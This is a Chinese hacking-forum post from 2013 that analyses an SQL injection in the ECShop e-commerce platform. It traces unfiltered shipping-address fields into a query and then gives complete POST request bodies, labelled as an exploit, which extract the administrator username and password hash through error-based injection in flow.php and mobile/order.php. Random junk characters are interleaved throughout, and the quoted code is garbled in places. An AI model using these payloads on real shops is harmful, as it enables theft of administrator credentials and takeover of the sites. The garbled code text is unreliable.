找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2233|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。/ Z3 k! ~# `# }- S- ]

9 Y, k0 o5 M: K6 E6 _    漏洞关键文件:8 @) {  l! g8 {" U& w

- f9 f  L; A/ ^  N/ l' L" p& s. f, Z    /includes/lib_order.php  h. ^+ j0 b8 V* @1 R- i

: Y7 J8 r8 p( w) s9 X    关键函数:7 F( @9 ?( U. v. O' I4 t3 z/ v* ]

9 ?+ M+ ]6 Q2 T, ~: Y
2 m# G/ S. ^- a6 o! ^6 a/ z2 J1 J9 e) B) S
01     function available_shipping_list($region_id_list)
  H+ H$ }) H; K2 s
# k/ H8 `$ |& U9 m& `! b02 { / R: z0 Y% M' [/ Y4 B5 H

6 X/ B7 E& u: j, ?' S! o) n" `03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
& _% p% y7 x1 g! D) f
3 E% i% W; A: d1 x( e04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
) m) E! g# `% v7 I9 _' K+ @
9 x9 e0 _" ^( F# i6 g  G& |! ?2 Z05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
) S5 M; c- u6 v9 h! c' S% @/ V# G0 U& b: r8 D6 g, ?; C3 q/ \
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
9 j( f: N# d% v) J# R
4 y- ?  @3 {  z3 {8 _07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.   E5 C8 K- a: y0 B( k$ p5 e9 O9 v2 X
! _% Y& e7 |" W
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
1 @- a4 o8 R1 C/ c: ~* A% W& ?2 l# g2 p' p& D" T4 A
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; " d% n9 g4 B4 S/ u# v* c
" }6 E8 [0 Z6 X  t: S' @+ j
10   9 m& D( x8 V; i+ I

3 ^) `# K: S9 a- u8 x$ H+ y& W5 g9 P11     return $GLOBALS['db']->getAll($sql);
& z9 }$ j1 r3 M2 G4 T/ J- w
& m! J0 Q0 z/ D2 g" H12 }
- _6 r) Y  k: j. ^/ O: |0 c/ `4 |+ ~3 N* t! @& ~3 L3 J
显然对传入的参数没有任何过滤就带入了查询语句。, ~( w9 y# ]5 X. t
0 X( V* W7 E' B* v0 L1 n
下面我们追踪这个函数在flow.php中:
) U6 ^: _" @* f* P. }7 r: M 第531行:   
, X1 N4 {9 L1 Y  D! D
( n3 F+ B$ m# H$ w/ A3 P& V1 $shipping_list     = available_shipping_list($region); ; K+ N- O0 y1 w5 o
2 c7 c9 T6 [/ A/ v- n  Y4 |

5 m/ C( u! ?& y# y4 `! k
5 t( _9 p. ^0 T" V* \; I+ } ; ]8 U2 N9 d( q, Y  ]" \5 e
1 g0 B- ~# y9 M  I0 ~; d- N
再对传入变量进行追踪:9 L. E9 D! w" R  |5 k
0 ]6 n# U& k6 d  {( \
第530行:   
% |) J8 ]# E9 s# C
3 |( v! P5 x+ Q4 [$ P' d6 R1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 5 g  g& G7 Z# w& c  f
2 P0 s, M2 r) d  d6 X

5 M6 P! h5 Y1 X; G; A; k. Y0 u9 G7 d6 W, K) R

; K, W( b' K2 B! @  c7 {: N. Q
6 ^7 c' w4 H  y8 P+ f% \! h4 G* |第473行:          S3 o  O. K4 J% }( Z

! Q8 D# y) }7 Z' f1 $consignee = get_consignee($_SESSION['user_id']); 1 }- q; |% K7 L0 H9 B: ?
. H% n8 ]- _3 f! W4 F' ]
到了一个关键函数:) V0 J" h6 O# S* o

" R' M3 i, c* Q  i% {& }/includes/lib_order.php
" U  ]1 m8 H$ }. X  X1 j& F1 y7 W& K% A- @' D

. a: @' P# a+ C  I& P+ C  o1 Z6 X6 Z6 d; P

5 V: z" H, U; o$ z: }
! d+ {" f, r2 t, l2 _( ?01 function get_consignee($user_id) 1 J9 y, X4 R0 ]
9 U2 J$ D5 u' G& X
02 { 4 S9 c- p* v) z8 W  N4 h5 C
3 `! t6 v1 G) A
03     if (isset($_SESSION['flow_consignee']))
6 j0 _* l- ]/ G) V9 ^- u% |6 e/ N
04     { 4 h6 h) Q- ]8 B- S8 @
8 E6 Q( e$ s4 U# L; t/ x# G0 U. Z
05         /* 如果存在session,则直接返回session中的收货人信息 */
4 R/ w1 O- U7 P- C1 i5 F! ?5 Q7 Z6 w  ^! s/ L
06   4 r  A* y  Z% r9 E1 ^

& H) x' t. X9 w* b! w- D07         return $_SESSION['flow_consignee']; : C9 G4 U) ]0 Z# {
; ]1 b$ Z$ o# D. }" o/ V
08     }
5 e6 H5 T0 D1 x( }6 W1 L: t, b' a+ }1 F+ w
09     else
: [! U4 y* H, z! m0 r3 x. X* R% i2 ]$ I- x9 H) I& v7 [
10     {
6 l5 b# p' ?, f* t
0 r3 [- r# l: r. D; v11         /* 如果不存在,则取得用户的默认收货人信息 */ 8 Q2 A$ u  [- ]& }  n4 L# |

" c; E8 {0 o0 C8 S" o12         $arr = array();
- W' {/ z. i4 F+ m( X
, }- a; h! r. K3 R13   
" u+ r& w5 n' x
, n+ J+ E  d4 _14         if ($user_id > 0) 9 o9 K9 |3 v& o- J+ J* l
6 q' L0 w4 C# ^# O( p/ `
15         { " a/ \2 y7 k9 D6 ^) ]
7 b# G  J7 C3 _, L& F# i' \
16             /* 取默认地址 */
. l/ e2 s1 x) M! B4 H+ u
. ]! p: q# E) u0 i- D17             $sql = "SELECT ua.*". : U) k2 p6 }! v2 l9 S

! B0 b7 a3 `  r18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
: V# O1 H: w' j' ^
# i4 U8 X$ _6 S! G: F19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
, n! [+ g' `$ }& b! B# F
/ ?9 X' K  K; V2 }1 }! |20   
  n3 S9 L" k# K$ V( {4 p5 e
: Z3 w% Y2 m/ {/ r- ^21             $arr = $GLOBALS['db']->getRow($sql); ; Y3 m5 [' u6 n
! C0 F4 a- F3 f* q  Z3 d
22         }
! x' y/ o8 `/ _0 M
6 h4 ?: {+ c( S, y+ G8 ~23   
4 C# K6 [0 W; G5 s2 w% S
, n3 ^) g9 b6 _. |  K( t24         return $arr; + h0 w1 O; Z/ A( U, \; c4 v

4 U9 s) a& u2 D8 ]25     }
* ^/ g/ S5 v- F- o0 S
$ R* }, c% ?: n  t9 z26 } 9 m# Y# ?7 g* f3 J% Y6 B

; R0 I/ w5 c3 o# q3 n0 L7 p" U显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?: l& w9 O$ w& ]& K3 J7 T; b4 w

* w" w' U0 i4 [& c, \6 j  `0 I
% k" a6 x/ |1 \6 ]  I4 w5 q
( B" n$ ]' t7 A1 d! W! x( R关键点:
* {, r6 F# e& B1 C: P: Q+ k( }: H) `. {
$ e% L. z0 d& c' F3 ]第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
) O) @% n- [0 x- i5 D2 f# `
9 T+ N. O. E9 N. r! I这里对传入参数反转义存入$_SESSION中。. H. [. X4 `1 @0 T8 z
- o+ J- _6 F. q
! W5 A' ]% k: I! d" T+ U4 {. Q

. F6 f2 S& x: y+ L; A; Q然后看下:
& S' o+ Y" b, |; S# Z" y
' w, D2 M, X6 x5 g # p3 z9 y1 p0 X) l

& [' D% U: @1 W" q8 x$ l" R   
8 }" ^  d6 j$ y; R- \; b6 i7 A) k0 T8 T% v  n3 L6 Q+ w
01 $consignee = array( / j+ V+ M- @' S9 w* l) i' W

2 f/ l. @: y! S; N- x02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
1 t8 W" P! p- h, h" s. }- {: l1 A
; v- l1 e9 G9 |: k# a03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), # M8 [! `6 v& d% A, j2 a

/ U4 g# n2 i% ]( C04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 9 Y* W' s) A* B7 w! y

8 f- ~4 p- B1 u$ s05         'province'      => empty($_POST['province'])   ? '' _POST['province'], ( V. Z) G0 Q  R) m- P1 Q  }* f

& A- k5 H2 |1 R8 F06         'city'          => empty($_POST['city'])       ? '' _POST['city'], / o# q) `' T( l6 w8 s$ {5 W
- U4 k, Z; g- P! c$ D
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], " V5 v/ J8 S! t* a: L
# m( F( o1 [& V/ W( _
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
9 `5 ?, @  j* H. r# z0 {) r4 T  l3 n% E4 A: M4 ]5 b
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
1 @0 J  B% _7 b. a
3 r4 t0 \& m1 V7 m10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
, f# I6 |1 C% A& j# K8 J# C. S1 H, ?* O1 C/ o: j" T& `
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
6 a! f5 T+ A8 A* C
+ h5 X+ O8 O4 S- o. A8 c4 E$ l7 {2 W12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
+ {0 y. r* N% R, B  J1 x6 j! w8 B6 Q$ L! g
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
8 Z" [! V( [! O8 g5 O0 p
/ L% e- @! n% g$ o8 m' Q+ }14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
/ p9 e2 t& C3 l+ w5 Z) V2 B2 w
' _# b& {+ E/ R0 a" R; i  i$ e15     );
0 ?+ F( v2 J. P8 x/ t3 ]! T0 U. `/ K" R2 x6 C4 ^
好了注入就这样出现了。
( s/ u0 x/ V4 Q6 v! G; ?* ?2 ]+ s" [4 N4 F/ W2 ?1 W
==================) ^0 o0 r. x  ~- N0 T) b

# i, k# N) M' c4 b) N注入测试:: O( h( Z- x  A& t2 a/ G
( A/ A$ j% ]) y. P4 v7 ]0 P
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)8 O% M7 U5 p' Q% @
6 o( i: P- Q9 A6 }# L! |6 j
测试程序:ECShop_V2.7.3_UTF8_release11060 v6 ]4 b# ?$ O7 ~9 ^
; z# C( @! @; O7 O$ x# x+ I0 |# t
5 ^( l3 F1 w, |1 q( W
1 h; Y3 _, J, j! L, ]9 |  @
1.首先需要点击一个商品加入购物车: C1 G. u, G) P- t2 E2 Y& C
3 F. T+ U% I2 o, a! u9 [1 }
2.注册一个会员帐号
6 u7 h( S# O7 c( @' M1 f- V, k  d% V5 j
3.post提交数据
0 y7 m1 Y' x+ @2 [1 u$ [8 E
0 @5 p% w- Z) j/ S/ C# _( O
# g; i( X; ?) T( {( h& H7 t' N; k% W, K# L. }' Z6 r, V
1 http://127.0.0.1/ecshop/flow.php ) j' D# Q% Y2 _; E

9 V! b; D! X4 P3 [2   
8 w/ c' @/ m( p: {$ \, B0 t) c
0 r5 a% D" O, q& e2 p# t: l- f3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= & D4 I; ~( d9 f2 J+ k1 g
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
$ r+ b4 H& s2 Z0 e2 e9 l9 }+ V$ E# C
我们搜寻关键函数function available_shipping_list()4 V' W) _. P9 c- }
/ p  x% n% j0 p0 U- K2 T
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
& y! F+ |% d6 f2 Z
& r$ q1 ?& O/ ]6 Y4 t7 K2 c利用exp:
$ C- j, P1 c7 @( V3 y! [
' C) u7 \7 i; y; e1.点击一个商品,点击购买商标0 g) h5 ]. v, _( K" \1 l
* J! @; ~' i) B/ p& @; K  y& T% c
2.登录会员帐号
3 d' _, O4 |7 p5 ^  d) r8 s1 b- ]2 a6 G
3.post提交:; V/ ]6 O- U: Z8 l
' }# ]' D2 c. q8 `  q
http://127.0.0.1/ecshop/mobile/order.php
3 p, ]& ?2 ]0 j/ c. K6 ?% ^; u7 c0 S2 ~, G3 C% Z4 R5 G

* R+ }! |+ @' I. I# D) b1 s4 n% D2 x0 B4 X
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=4 e0 o+ `8 r1 q' v5 Q

3 a0 g* g# u: P4 h0 {7 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表